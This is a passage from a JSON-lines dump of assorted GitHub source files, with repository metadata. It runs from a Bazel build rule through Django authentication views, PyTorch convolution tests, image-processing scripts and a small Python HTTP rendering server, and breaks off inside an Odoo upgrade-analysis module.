ctx.actions.symlink(output = out, target_file = f)\n symlinks.append(out)\n return []\n\nwrite_crubit_outs = rule(\n attrs = {\n \"cc_library\": attr.label(\n providers = [CcInfo],\n aspects = [rust_bindings_from_cc_aspect],\n cfg = crubit_flavor_transition,\n ),\n \"outs\": attr.output_list(),\n \"_allowlist_function_transition\": attr.label(\n default = \"@bazel_tools//tools/allowlists/function_transition_allowlist\",\n ),\n },\n implementation = _write_crubit_outs_impl,\n)\n","repo_name":"google/crubit","sub_path":"rs_bindings_from_cc/test/test_bindings.bzl","file_name":"test_bindings.bzl","file_ext":"bzl","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","stars":420,"dataset":"github-code","pt":"31"} +{"seq_id":"71232490649","text":"from django.contrib.auth.models import User\nfrom django.shortcuts import get_object_or_404\nfrom rest_framework.decorators import api_view\nfrom users.serializers import ProfileSerializer\nfrom users.serializers import UserSerilizer\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom knox.models import AuthToken\nfrom rest_framework import serializers\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\n\n\nfrom users.mixins import ApiErrorsMixin, PublicApiMixin\n\n\n# from users.selectors import user_get_me\nfrom users.services import google_validate_id_token, google_get_user_info\n\n\nclass UserInitApi(PublicApiMixin, ApiErrorsMixin, APIView):\n class InputSerializer(serializers.Serializer):\n email = serializers.EmailField()\n first_name = serializers.CharField()\n last_name = serializers.CharField()\n googleId = serializers.IntegerField()\n profile_pic = serializers.URLField(required=False, default=\"\")\n accessToken = serializers.CharField()\n \n def post(self, request, *args, **kwargs):\n id_token = request.data['data']['id_token']\n # print(id_token)\n google_validate_id_token(id_token=id_token)\n \n serializer = self.InputSerializer(data=request.data['data'])\n if serializer.is_valid():\n access_token = serializer.validated_data.get('accessToken')\n google_info = google_get_user_info(access_token=access_token)\n print(google_info)\n googleId = str(serializer.validated_data.get('googleId'))\n if google_info['sub'] != googleId:\n return Response({'code':400, 'errors':'Access Token didnt match with Google ID'}, status=status.HTTP_400_BAD_REQUEST)\n try:\n user = User.objects.get(username=googleId)\n except User.DoesNotExist:\n first_name = serializer.validated_data.get('first_name')\n last_name = serializer.validated_data.get('last_name')\n \n user = User.objects.create(username=googleId, first_name=first_name, last_name=last_name)\n user.profile.email = serializer.validated_data.get('email')\n user.profile.google_profile_url = serializer.validated_data.get('profile_pic')\n user.profile.save()\n \n token = AuthToken.objects.create(user)\n print(token[1])\n \n\n return Response({'code':200, 'user':UserSerilizer(user).data, 'profile':ProfileSerializer(user.profile).data, 'token':token[1]}, status=status.HTTP_200_OK)\n else:\n print(serializer.errors)\n return Response({'code':400, 'errors':serializer.errors}, status=status.HTTP_400_BAD_REQUEST)\n@api_view(['GET'])\ndef get_user(request):\n print(request.user)\n if request.user.is_authenticated:\n user = request.user \n print('hey')\n print(user)\n return Response({\"code\":200, \"user\":{'user':UserSerilizer(user).data, 'profile':ProfileSerializer(user.profile).data}})\n else:\n print('no hery')\n return Response({\"code\":200, \"user\":False})\n","repo_name":"KazutoMartin/Songity-backend","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"24740831741","text":"import torch.nn as nn\nimport torch\n\n# https://jinglescode.github.io/2020/11/01/how-convolutional-layers-work-deep-learning-neural-networks/\n\n\nclass TestConv1d(nn.Module):\n def __init__(self):\n super(TestConv1d, self).__init__()\n self.conv = nn.Conv1d(in_channels=2, out_channels=4, kernel_size=1, bias=False)\n self.init_weights()\n\n def forward(self, x):\n return self.conv(x)\n\n def init_weights(self):\n print(f\"conv.weight.shape: {self.conv.weight.shape}\")\n self.conv.weight.data[0, 0, 0] = 2.\n self.conv.weight.data[0, 1, 0] = 2.\n self.conv.weight.data[1, 0, 0] = 4.\n self.conv.weight.data[1, 1, 0] = 4.\n self.conv.weight.data[2, 0, 0] = 6.\n self.conv.weight.data[2, 1, 0] = 6.\n self.conv.weight.data[3, 0, 0] = 8.\n self.conv.weight.data[3, 1, 0] = 8.\n\n\ndef test_conv1d():\n in_x = torch.tensor([[[1, 2, 3, 4, 5, 6], [10, 20, 30, 40, 50, 60]]]).float()\n print(\"in_x.shape\", in_x.shape)\n print(in_x)\n\n net = TestConv1d()\n out_y = net(in_x)\n\n print(\"out_y.shape\", out_y.shape)\n print(out_y)\n\n\nclass TestConv1dGroups(nn.Module):\n def __init__(self):\n super(TestConv1dGroups, self).__init__()\n # 6 in_channels are divided into 2 groups, each group will have 3 parameters for dot product.\n # 4 out_channels will go through in feature maps 4 times. Each time it goes one group.\n # It takes 2 times to go through whole in_channels. Therefore, in total it will go through 2 rounds.\n self.conv = nn.Conv1d(in_channels=6, out_channels=4, kernel_size=1, groups=2, bias=False)\n self.init_weights()\n\n def forward(self, x):\n return self.conv(x)\n\n def init_weights(self):\n print(f\"conv.weight.shape: {self.conv.weight.shape}\")\n self.conv.weight.data[0, 0, 0] = 1.\n self.conv.weight.data[0, 1, 0] = 1.\n self.conv.weight.data[0, 2, 0] = 1.\n self.conv.weight.data[1, 0, 0] = 2.\n self.conv.weight.data[1, 1, 0] = 2.\n self.conv.weight.data[1, 2, 0] = 2.\n self.conv.weight.data[2, 0, 0] = 3.\n self.conv.weight.data[2, 1, 0] = 3.\n self.conv.weight.data[2, 2, 0] = 3.\n self.conv.weight.data[3, 0, 0] = 4.\n self.conv.weight.data[3, 1, 0] = 4.\n self.conv.weight.data[3, 2, 0] = 4.\n\n\ndef test_conv1d_groups():\n torch.set_printoptions(precision=0, sci_mode=False)\n in_x = torch.tensor([[[1, 2, 3, 4, 5, 6], [10, 20, 30, 40, 50, 60],\n [100, 200, 300, 400, 500, 600], [1000, 2000, 3000, 4000, 5000, 6000],\n [10000, 20000, 30000, 40000, 50000, 60000], [100000, 200000, 300000, 400000, 500000, 600000]]]).float()\n print(\"in_x.shape\", in_x.shape)\n print(in_x)\n\n net = TestConv1dGroups()\n out_y = net(in_x)\n\n print(\"out_y.shape\", out_y.shape)\n print(out_y)\n\n\nclass TestConv1dDilation(nn.Module):\n def __init__(self):\n super(TestConv1dDilation, self).__init__()\n self.conv = nn.Conv1d(in_channels=1, out_channels=1, kernel_size=3, dilation=2, bias=False)\n self.init_weights()\n\n def forward(self, x):\n return self.conv(x)\n\n def init_weights(self):\n new_weights = torch.ones(self.conv.weight.shape) * 2. # new_weights = [[[2, 2, 2]]]\n self.conv.weight = torch.nn.Parameter(new_weights, requires_grad=False)\n\n\ndef test_conv1d_dilation():\n in_x = torch.tensor([[[1, 2, 3, 4, 5, 6]]]).float()\n print(\"in_x.shape\", in_x.shape)\n print(in_x)\n\n net = TestConv1dDilation()\n out_y = net(in_x)\n\n print(\"out_y.shape\", out_y.shape)\n print(out_y)\n # tensor([[[18 = 1*2 + 3*2 + 5*2, 24 = 2*2 + 2*4 + 2*6]]])\n\n\ndef test_repeat_interleave():\n y = torch.tensor([[1, 2], [3, 4]])\n print(f\"y.shape: {y.shape}, y: {y}\")\n\n repeated_dim0 = y.repeat_interleave(2, dim=0)\n print(f\"repeated_dim0.shape: {repeated_dim0.shape}, repeated_dim0: {repeated_dim0}\")\n\n repeated_dim1 = torch.repeat_interleave(y, 3, dim=1)\n print(f\"repeated_dim1.shape: {repeated_dim1.shape}, repeated_dim1: {repeated_dim1}\")\n\n\ndef test_permute():\n batch_size = 3\n samples_per_patient = 2\n feature_size = 4\n x = torch.arange(start=1, end=25).reshape(shape=(batch_size, samples_per_patient, feature_size))\n print(f\"x.shape: {x.shape}\")\n print(x)\n x_permuted = x.permute(0, 2, 1)\n print(f\"x_permuted.shape: {x_permuted.shape}\")\n print(x_permuted)\n x_split = torch.split(x_permuted, split_size_or_sections=feature_size//2, dim=1)\n print(f\"x_split: \")\n print(f\"{x_split}\")\n print(f\"torch.stack(x_split, dim=2): {torch.stack(x_split, dim=2).shape}\")\n print(torch.stack(x_split, dim=2))\n x_stack = torch.stack(x_split, dim=2).reshape(shape=(batch_size, feature_size, samples_per_patient))\n print(\"x_stack:\")\n print(x_stack)\n\n\nif __name__ == '__main__':\n # test_conv1d()\n test_conv1d_groups()\n # test_conv1d_dilation()\n # test_repeat_interleave()\n # test_permute()\n","repo_name":"weicheng113/DL4H-Project","sub_path":"notebooks/concepts_learning.py","file_name":"concepts_learning.py","file_ext":"py","file_size_in_byte":4974,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"30478752462","text":"import os\nimport re\nimport sys\n\nfrom django.conf import settings\n\nfrom backend.debug import Debug\nfrom script.utilities import ScriptError, ScriptParameterName\n\n\n################################################################################\n## @fn def create_gif_script_header(product, storm):\n#\n# @brief\n#\n# @param\n#\n# @return\n# None\n################################################################################\ndef create_gif_script_header(output_name, input_path, output_path = None):\n Debug('Writing the JPEGtoGIF script header for GIF: {}'.format(output_name))\n if (output_path is None):\n output_path = input_path\n\n regex_str = re.compile(r'.*\\.(?:jpg|jpeg|jpe|jif|jfif|jfi)$')\n\n input_images = [image\n for image in os.listdir(input_path)\n if (re.search(regex_str, image) is not None)]\n input_images.sort()\n Debug('Converting the following images to a GIF:\\n{}'\n .format(' \\n'.join([image for image in input_images])))\n\n # Attempt to create or open the JPEGtoGIFheader.m file.\n script_header_filename = 'JPEGtoGIFheader.m'\n try:\n # Create the filename/file path as per the host system.\n script_header_filename = os.path.join(settings.PATHS.MATLAB_SCRIPTS,\n script_header_filename)\n # Create/open the file.\n Debug('Creating/opening: \"{}\"'.format(script_header_filename))\n # Write the contents of the JPEGtoGIFheader.m file.\n with open(script_header_filename, 'wt') as header:\n header.write('jpegInputFiles = {{{}}};\\n\\n'\n .format(',\\n'.join([\"'{}'\".format(jpeg)\n for jpeg in input_images])))\n header.write(\"gifOutputFilename = '{}.gif';\\n\\n\"\n .format(output_name))\n header.write(\"cd('{}');\".format(output_path))\n except IOError:\n Debug('Failed to create/open: \"{}\"'.format(script_header_filename))\n\n\nif (__name__ == '__main__'):\n globals__ = globals()\n\n try:\n #output_dir = globals__[ScriptParameterName.output_dir]\n output_dir = globals__[ScriptParameterName.output_instances_list].path\n product = globals__[ScriptParameterName.product]\n output_name = globals__[ScriptParameterName.output_regex]\n\n output_name = output_name.replace('.*', product.title)\n output_name = output_name.replace(' ', '_')\n\n ##### March, 2017 -- Connor Bracy\n # Currently, JPEG to GIF assumes the input files are in the same\n # directory that the output file should be in. There is a thought to\n # change this in the future by making the GIFS a separate product, that\n # way they could be defined to use a subset of the files in a certain\n # location (via the Resource regex for the Product) and they could be\n # placed into a new folder, but this would require adding a concept\n # along the lines of ProductGroup which groups together a set of\n # products to be displayed on the website so that the GIFs could be\n # associated with and placed in the same separator as their source\n # files. This wouldn't be a terrible amount of effort to do, but it\n # seems unnecessary at this point and it will take more time than I\n # have to spare.\n #####\n create_gif_script_header(output_name, output_dir, output_dir)\n\n except ScriptError as error:\n globals__[ScriptParameterName.success] = False\n globals__[ScriptParameterName.error] = error\n except NameError as error:\n error = ScriptError('Undefined required variable \"{}\"'.format(error))\n globals__[ScriptParameterName.success] = False\n globals__[ScriptParameterName.error] = error\n except:\n error_type = sys.exc_info()[0]\n error_message = sys.exc_info()[1]\n Debug('Unpredicted Error({}): {}'\n .format(error_type, error_message), print_to_stdout = True)\n error = ScriptError('Unexpected Error({}): \"{}\"'.format(error_type,\n error_message))\n globals__[ScriptParameterName.success] = False\n globals__[ScriptParameterName.error] = error\n","repo_name":"EvanHiggins98/wwlln","sub_path":"TCDataProcessing/scripts/python/images_to_GIF.py","file_name":"images_to_GIF.py","file_ext":"py","file_size_in_byte":4305,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"9337948230","text":"import os\nimport shutil\nfrom ImgRotation import *\nfrom PreProcessing import printProgressBar\n\n# Read Images and rename with X direction\npathIn = './SampleImages/'\npathOut = './Images/'\nif not(os.path.exists(pathOut)):\n os.mkdir(pathOut)\n\nl = len(os.listdir(pathIn))\ni=0\nerrors = 0\nprintProgressBar(0, l, prefix = 'Progress:', suffix = 'Complete', length = 50)\nfor filename in os.listdir(pathIn):\n my_dest = pathOut + os.path.splitext(filename)[0] + '_x' + os.path.splitext(filename)[1]\n my_source = pathIn + filename\n\n # Copy and Rename X image\n # re# read image\n imgIn = cv2.imread(my_source)\n \n # Save X image\n try:\n cv2.imwrite(my_dest,imgIn,[cv2.IMWRITE_TIFF_COMPRESSION, cv2.CV_32F])\n except:\n errors += 1\n \n # Rotate - 90⁰ Clockwise\n case = 1\n imgOut = rotate_img(imgIn, case)\n \n # Save Rotated Y image\n my_dest = pathOut + os.path.splitext(filename)[0] + '_y' + os.path.splitext(filename)[1]\n try:\n cv2.imwrite(my_dest,imgOut,[cv2.IMWRITE_TIFF_COMPRESSION, cv2.CV_32F])\n except:\n errors += 1\n i+=1\n \n printProgressBar(i, l, prefix = 'Progress:', suffix = 'Complete | Errors:{:d}'.format(errors), length = 50)","repo_name":"ggfmotta/vCNN","sub_path":"buildImages.py","file_name":"buildImages.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41568602951","text":"#!/usr/bin/env python3.7\n\"\"\"\n\n\"\"\"\n\nfrom __future__ import annotations\nfrom http.server import HTTPServer, SimpleHTTPRequestHandler\nfrom socketserver import ThreadingMixIn\nfrom subprocess import Popen, PIPE\nfrom dataclasses import dataclass\nfrom io import BytesIO\nfrom threading import Lock\nfrom math import sqrt\nfrom pathlib import Path\nfrom typing import NewType\nfrom PIL import Image\n\n\n_g_subprocess: Subprocess = None\n_g_materials: Materials = None\n_g_objs: Objs = None\n\n\nIndex = NewType('Index', int)\nName = NewType('Name', str)\nRow = NewType('Row', str)\n\n\n@dataclass\nclass Assets:\n\tby_index: List[Row]\n\tby_name: Dict[Name, Index]\n\ttag: ClassVar[str] = None\n\n\t@classmethod\n\tdef from_file(cls, path: Path) -> Assets:\n\t\tby_index = []\n\t\tby_name = {}\n\n\t\twith open(path, 'r') as f:\n\t\t\tit = (x.rstrip() for x in f if x != '')\n\t\t\tfor i, line in enumerate(it):\n\t\t\t\tname = line.split()[0]\n\n\t\t\t\tby_index.append(line)\n\t\t\t\tby_name[name] = i\n\t\t\n\t\treturn cls(by_index, by_name)\n\t\n\t@property\n\tdef env(self) -> Dict[str, str]:\n\t\tenv = {}\n\t\tfor i, line in enumerate(self.by_index):\n\t\t\tenv[f'{self.tag}_{i}'] = line\n\t\tenv[f'n{self.tag}'] = str(len(env))\n\t\treturn env\n\t\n\tdef lookup(self, name) -> Index:\n\t\treturn self.by_name[name]\n\n\n@dataclass\nclass Materials(Assets):\n\ttag: ClassVar[str] = 'mat'\n\n\n@dataclass\nclass Objs(Assets):\n\ttag: ClassVar[str] = 'obj'\n\n\n@dataclass\nclass Subprocess:\n\tprocess: Popen\n\tlock: Lock\n\t\n\t@classmethod\n\tdef create(cls, exe, *, env=None):\n\t\t# In order to read from the subprocess, it seems like\n\t\t# we need to read from either stdout or stderr, and\n\t\t# can't read from an arbitrary file descriptor. One\n\t\t# way around this is to take the file descriptor we\n\t\t# want and turn it into stdout, and then save the old\n\t\t# stdout to stderr. We can't do that without the shell.\n\t\tprocess = Popen(['bash', '-c', f'{exe} 100>&1 1>&2'], stdin=PIPE, stdout=PIPE, env=env)\n\t\tlock = Lock()\n\t\treturn cls(process, lock)\n\t\n\tdef submit(self, request: bytes):\n\t\tself.process.stdin.write(request + b'\\n')\n\t\tself.process.stdin.flush()\n\t\n\tdef receive(self) -> bytes:\n\t\tdata = b''\n\t\twhile True:\n\t\t\tdata += self.process.stdout.read(1)\n\t\t\tif b':' in data:\n\t\t\t\tbreak\n\t\t\n\t\tlength, rest = data.split(b':')\n\t\tlength = int(length)\n\t\t\n\t\tdata = self.process.stdout.read(length - len(rest))\n\t\tassert len(rest) + len(data) == length, f'{len(rest)}, {len(data)}, {length}'\n\t\tcomma = self.process.stdout.read(1) # comma\n\t\tassert comma == b',', f'Comma is {comma!r}'\n\t\treturn rest + data\n\n\nclass RequestHandler(SimpleHTTPRequestHandler):\n\tprotocol_version = 'HTTP/1.1'\n\n\tdef do_GET(self):\n\t\tif self.path == '/':\n\t\t\tself.directory = 'static'\n\t\t\tsuper().do_GET()\n\t\telif self.path == '/favicon.ico':\n\t\t\tsuper().do_GET()\n\t\telif self.path.startswith('/static/'):\n\t\t\tsuper().do_GET()\n\t\telif self.path.startswith('/image/'):\n\t\t\tself.do_GET_image()\n\t\telse:\n\t\t\traise NotImplementedError\n\t\n\tdef do_GET_image(self):\n\t\t_, image, what, x, y, z, ux, uy, uz, vx, vy, vz, quality, optstring = self.path.split('/')\n\t\tassert _ == '', f'{_!r} is not empty'\n\t\tassert image == 'image'\n\t\tx, y, z = map(float, (x, y, z))\n\t\tux, uy, uz = map(float, (ux, uy, uz))\n\t\tvx, vy, vz = map(float, (vx, vy, vz))\n\t\tquality = int(quality)\n\t\t\n\t\tbx1 = by1 = bz1 = None\n\t\tbx2 = by2 = bz2 = None\n\t\tbx3 = by3 = bz3 = None\n\n\t\tbsx1 = bsy1 = bsz1 = None\n\t\tbsx2 = bsy2 = bsz2 = None\n\t\tbsx3 = bsy3 = bsz3 = None\n\t\t\n\t\tbrx1 = bry1 = brz1 = None\n\t\tbrx2 = bry2 = brz2 = None\n\t\tbrx3 = bry3 = brz3 = None\n\t\t\n\t\tmatid1 = matid2 = matid3 = None\n\t\tobjid1 = objid2 = objid3 = None\n\t\t\n\t\tnegxr = negxg = negxb = None\n\t\tposxr = posxg = posxb = None\n\t\tnegyr = negyg = negyb = None\n\t\tposyr = posyg = posyb = None\n\t\tnegzr = negzg = negzb = None\n\t\tposzr = poszg = poszb = None\n\t\t\n\t\tlightx, lighty, lightz = [], [], []\n\t\tlightr, lightg, lightb = [], [], []\n\t\tlightint, lightrad = [], []\n\t\t\n\t\tit = iter(what.split(','))\n\t\ttype = next(it)\n\t\tif type == 'scene':\n\t\t\tfor k in it:\n\t\t\t\tif k == 'obj1':\n\t\t\t\t\tobjid1 = str(next(it)).encode(\"utf8\")\n\t\t\t\t\tbx1 = float(next(it))\n\t\t\t\t\tby1 = float(next(it))\n\t\t\t\t\tbz1 = float(next(it))\n\t\t\t\t\tbsx1 = float(next(it))\n\t\t\t\t\tbsy1 = float(next(it))\n\t\t\t\t\tbsz1 = float(next(it))\n\t\t\t\t\tbrx1 = float(next(it))\n\t\t\t\t\tbry1 = float(next(it))\n\t\t\t\t\tbrz1 = float(next(it))\n\t\t\t\t\tmatid1 = _g_materials.lookup(next(it))\n\t\t\t\telif k == 'obj2':\n\t\t\t\t\tobjid2 = str(next(it)).encode(\"utf8\")\n\t\t\t\t\tbx2 = float(next(it))\n\t\t\t\t\tby2 = float(next(it))\n\t\t\t\t\tbz2 = float(next(it))\n\t\t\t\t\tbsx2 = float(next(it))\n\t\t\t\t\tbsy2 = float(next(it))\n\t\t\t\t\tbsz2 = float(next(it))\n\t\t\t\t\tbrx2 = float(next(it))\n\t\t\t\t\tbry2 = float(next(it))\n\t\t\t\t\tbrz2 = float(next(it))\n\t\t\t\t\tmatid2 = _g_materials.lookup(next(it))\n\t\t\t\telif k == 'obj3':\n\t\t\t\t\tobjid3 = str(next(it)).encode(\"utf8\")\n\t\t\t\t\tbx3 = float(next(it))\n\t\t\t\t\tby3 = float(next(it))\n\t\t\t\t\tbz3 = float(next(it))\n\t\t\t\t\tbsx3 = float(next(it))\n\t\t\t\t\tbsy3 = float(next(it))\n\t\t\t\t\tbsz3 = float(next(it))\n\t\t\t\t\tbrx3 = float(next(it))\n\t\t\t\t\tbry3 = float(next(it))\n\t\t\t\t\tbrz3 = float(next(it))\n\t\t\t\t\tmatid3 = _g_materials.lookup(next(it))\n\t\t\t\telif k == 'negx':\n\t\t\t\t\tnegxr = float(next(it))\n\t\t\t\t\tnegxg = float(next(it))\n\t\t\t\t\tnegxb = float(next(it))\n\t\t\t\telif k == 'posx':\n\t\t\t\t\tposxr = float(next(it))\n\t\t\t\t\tposxg = float(next(it))\n\t\t\t\t\tposxb = float(next(it))\n\t\t\t\telif k == 'negy':\n\t\t\t\t\tnegyr = float(next(it))\n\t\t\t\t\tnegyg = float(next(it))\n\t\t\t\t\tnegyb = float(next(it))\n\t\t\t\telif k == 'posy':\n\t\t\t\t\tposyr = float(next(it))\n\t\t\t\t\tposyg = float(next(it))\n\t\t\t\t\tposyb = float(next(it))\n\t\t\t\telif k == 'negz':\n\t\t\t\t\tnegzr = float(next(it))\n\t\t\t\t\tnegzg = float(next(it))\n\t\t\t\t\tnegzb = float(next(it))\n\t\t\t\telif k == 'posz':\n\t\t\t\t\tposzr = float(next(it))\n\t\t\t\t\tposzg = float(next(it))\n\t\t\t\t\tposzb = float(next(it))\n\t\t\t\telif k == 'light':\n\t\t\t\t\tlightx.append(float(next(it)))\n\t\t\t\t\tlighty.append(float(next(it)))\n\t\t\t\t\tlightz.append(float(next(it)))\n\t\t\t\t\tlightr.append(float(next(it)))\n\t\t\t\t\tlightg.append(float(next(it)))\n\t\t\t\t\tlightb.append(float(next(it)))\n\t\t\t\t\tlightint.append(float(next(it)))\n\t\t\t\t\tlightrad.append(float(next(it)))\n\t\t\t\telse:\n\t\t\t\t\tprint(f'bad scene type {k!r}')\n\t\t\t\t\traise NotImplementedError\n\t\telse:\n\t\t\tprint(f'bad type {scene!r}')\n\t\t\traise NotImplementedError\n\n\t\toptions = {}\n\t\tit = iter(optstring.split(','))\n\t\tfor k, v in zip(it, it):\n\t\t\toptions[k] = v\n\n\t\ttiling = options.get('tiling', '0-1')\n\t\ttile_index, num_tiles = tiling.split('-')\n\t\ttile_index = int(tile_index)\n\t\tbgcolor = tuple(map(int, options.get('bgcolor', '255-255-255-255').split('-')))\n\t\tnum_tiles = int(num_tiles)\n\t\tn_cols = int(sqrt(num_tiles))\n\t\tassert bx1 is not None and by1 is not None and bz1 is not None, f'{bx1!r} {by1!r} {bz1!r}'\n\t\t\n\t\tquery = (\n\t\t\tb'%f %f %f %f %f %f %f %f %f %d '\n\t\t\tb'%f %f %f %f %f %f %f %f %f %d %s '\n\t\t\tb'%f %f %f %f %f %f %f %f %f %d %s '\n\t\t\tb'%f %f %f %f %f %f %f %f %f %d %s '\n\t\t\tb'%f %f %f '\n\t\t\tb'%f %f %f '\n\t\t\tb'%f %f %f '\n\t\t\tb'%f %f %f '\n\t\t\tb'%f %f %f '\n\t\t\tb'%f %f %f '\n\t\t\tb'%d %s '\n\t\t) % (\n\t\t\tx, y, z, ux, uy, uz, vx, vy, vz, quality,\n\t\t\tbx1, by1, bz1, bsx1, bsy1, bsz1, brx1, bry1, brz1, matid1, objid1,\n\t\t\tbx2, by2, bz2, bsx2, bsy2, bsz2, brx2, bry2, brz2, matid2, objid2,\n\t\t\tbx3, by3, bz3, bsx3, bsy3, bsz3, brx3, bry3, brz3, matid3, objid3,\n\t\t\tnegxr, negxg, negxb,\n\t\t\tposxr, posxg, posxb,\n\t\t\tnegyr, negyg, negyb,\n\t\t\tposyr, posyg, posyb,\n\t\t\tnegzr, negzg, negzb,\n\t\t\tposzr, poszg, poszb,\n\t\t\tlen(lightx),\n\t\t\tb' '.join(\n\t\t\t\tb'%f %f %f %f %f %f %f %f' % lightparams\n\t\t\t\tfor lightparams in zip(lightx, lighty, lightz, lightr, lightg, lightb, lightint, lightrad)\n\t\t\t),\n\t\t)\n\t\t\n\t\twith _g_subprocess.lock:\n\t\t\t_g_subprocess.submit(query)\n\t\t\tdata = _g_subprocess.receive()\n\t\t\n\t\tif b'error' in data:\n\t\t\tprint(data)\n\n\t\timage = Image.frombytes('RGBA', (quality, quality), data, 'raw', 'RGBA', 0, 1)\n\t\tcanvas = Image.new('RGBA', image.size, bgcolor)\n\t\tcanvas.paste(image, mask=image)\n\t\tbuffer = BytesIO()\n\t\tcanvas.save(buffer, 'PNG')\n\t\t\n\t\tcontent = buffer.getvalue()\n\n\t\tself.send('image/png', content)\n\t\n\tdef send(self, content_type, content):\n\t\tconnection = self.headers['connection']\n\t\tkeep_alive = False\n\t\tif connection == 'keep-alive':\n\t\t\tkeep_alive = True\n\t\t\n\t\tself.send_response(200)\n\t\tself.send_header('Content-Type', content_type)\n\t\tself.send_header('Content-Length', str(len(content)))\n\t\tself.send_header('Access-Control-Allow-Origin', self.headers['origin'])\n\t\tif keep_alive:\n\t\t\tself.send_header('Connection', 'keep-alive')\n\t\tself.end_headers()\n\t\tself.wfile.write(content)\n\n\nclass ThreadingHTTPServer(ThreadingMixIn, HTTPServer):\n\tpass\n\n\ndef main(bind, port, exe, materials, objs):\n\tenv = {}\n\tif materials is not None:\n\t\tenv.update(materials.env)\n\tif objs is not None:\n\t\tfor k, v in objs.env.items():\n\t\t\tprint(f'{k!r}={v!r}')\n\t\tenv.update(objs.env)\n\n\tsubprocess = Subprocess.create(exe, env=env)\n\t\n\tglobal _g_subprocess\n\t_g_subprocess = subprocess\n\t\n\tglobal _g_materials\n\t_g_materials = materials\n\t\n\tglobal _g_objs\n\t_g_objs = objs\n\t\n\taddress = (bind, port)\n\tprint(f'Listening on {address!r}')\n\tserver = ThreadingHTTPServer(address, RequestHandler)\n\tserver.serve_forever()\n\n\ndef cli():\n\tdef materials(s):\n\t\treturn Materials.from_file(Path(s))\n\t\n\tdef objs(s):\n\t\treturn Objs.from_file(Path(s))\n\n\timport argparse\n\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('--port', type=int, default=8801)\n\tparser.add_argument('--bind', default='')\n\tparser.add_argument('--materials', type=materials)\n\tparser.add_argument('--objs', type=objs)\n\tparser.add_argument('exe')\n\targs = vars(parser.parse_args())\n\n\tmain(**args)\n\n\nif __name__ == '__main__':\n\tcli()\n","repo_name":"player1537/3d_community_mural","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":9372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"965291030","text":"import json\n\nf = open(\"MyFile.txt\", \"w\")\nmsg = \"Hello world. I am a Backend Developer\"\nf.write(msg)\nf.close()\n\nwith open(\"MyFile.txt\", \"r\") as f:\n lines = f.readlines()\n for l in lines:\n print(f\"{l}\")\n\nwith open(\"map.py\", \"r\") as f:\n liness = f.readlines()\n print(liness)\n\ndata = {\"Mirshod\":\"Python Engineer\"}\nwith open(\"data.json\", \"w\") as f:\n json.dump(data, f)","repo_name":"mirshoddev99/Advanced-Python","sub_path":"built_functions/Part-2/open.py","file_name":"open.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40670966177","text":"import logging\nimport os\nfrom copy import deepcopy\n\nfrom lxml import etree\nfrom mako.template import Template\n\nfrom odoo import fields, models, release\nfrom odoo.exceptions import ValidationError\nfrom odoo.modules import get_module_path\nfrom odoo.tools import config\nfrom odoo.tools.convert import nodeattr2bool\nfrom odoo.tools.translate import _\n\ntry:\n from odoo.addons.openupgrade_scripts.apriori import merged_modules, renamed_modules\nexcept ImportError:\n renamed_modules = {}\n merged_modules = {}\n\nfrom .. import compare\n\n_logger = logging.getLogger(__name__)\n_IGNORE_MODULES = [\"openupgrade_records\", \"upgrade_analysis\"]\n\n\nclass UpgradeAnalysis(models.Model):\n _name = \"upgrade.analysis\"\n _description = \"Upgrade Analyses\"\n\n analysis_date = fields.Datetime(readonly=True)\n\n state = fields.Selection(\n [(\"draft\", \"draft\"), (\"done\", \"Done\")], readonly=True, default=\"draft\"\n )\n config_id = fields.Many2one(\n string=\"Comparison Config\",\n comodel_name=\"upgrade.comparison.config\",\n readonly=True,\n required=True,\n )\n\n log = fields.Text(readonly=True)\n upgrade_path = fields.Char(\n compute=\"_compute_upgrade_path\",\n readonly=True,\n help=(\n \"The base file path to save the analyse files of Odoo modules. \"\n \"Taken from Odoo's --upgrade-path command line option or the \"\n \"'scripts' subdirectory in the openupgrade_scripts addon.\"\n ),\n )\n write_files = fields.Boolean(\n help=\"Write analysis files to the module directories\", default=True\n )\n\n def _compute_upgrade_path(self):\n \"\"\"Return the --upgrade-path configuration option or the `scripts`\n directory in `openupgrade_scripts` if available\n \"\"\"\n res = config.get(\"upgrade_path\", False)\n if not res:\n module_path = get_module_path(\"openupgrade_scripts\", display_warning=False)\n if module_path:\n res = os.path.join(module_path, \"scripts\")\n self.upgrade_path = res\n\n def _get_remote_model(self, connection, model):\n self.ensure_one()\n if model == \"record\":\n if float(self.config_id.version) < 14.0:\n return connection.env[\"openupgrade.record\"]\n else:\n return connection.env[\"upgrade.record\"]\n return False\n\n def _write_file(\n self, module_name, version, content, filename=\"upgrade_analysis.txt\"\n ):\n module = self.env[\"ir.module.module\"].search([(\"name\", \"=\", module_name)])[0]\n if module.is_odoo_module:\n if not self.upgrade_path:\n return (\n \"ERROR: no upgrade_path set when writing analysis of %s\\n\"\n % module_name\n )\n full_path = os.path.join(self.upgrade_path, module_name, version)\n else:\n full_path = os.path.join(\n get_module_path(module_name), \"migrations\", version\n )\n if not os.path.exists(full_path):\n try:\n os.makedirs(full_path)\n except os.error:\n return \"ERROR: could not create migrations directory %s:\\n\" % (\n full_path\n )\n logfile = os.path.join(full_path, filename)\n try:\n f = open(logfile, \"w\")\n except Exception:\n return \"ERROR: could not open file %s for writing:\\n\" % logfile\n _logger.debug(\"Writing analysis to %s\", logfile)\n f.write(content)\n f.close()\n return None\n\n def analyze(self):\n \"\"\"\n Retrieve both sets of database representations,\n perform the comparison and register the resulting\n change set\n \"\"\"\n self.ensure_one()\n self.write(\n {\n \"analysis_date\": 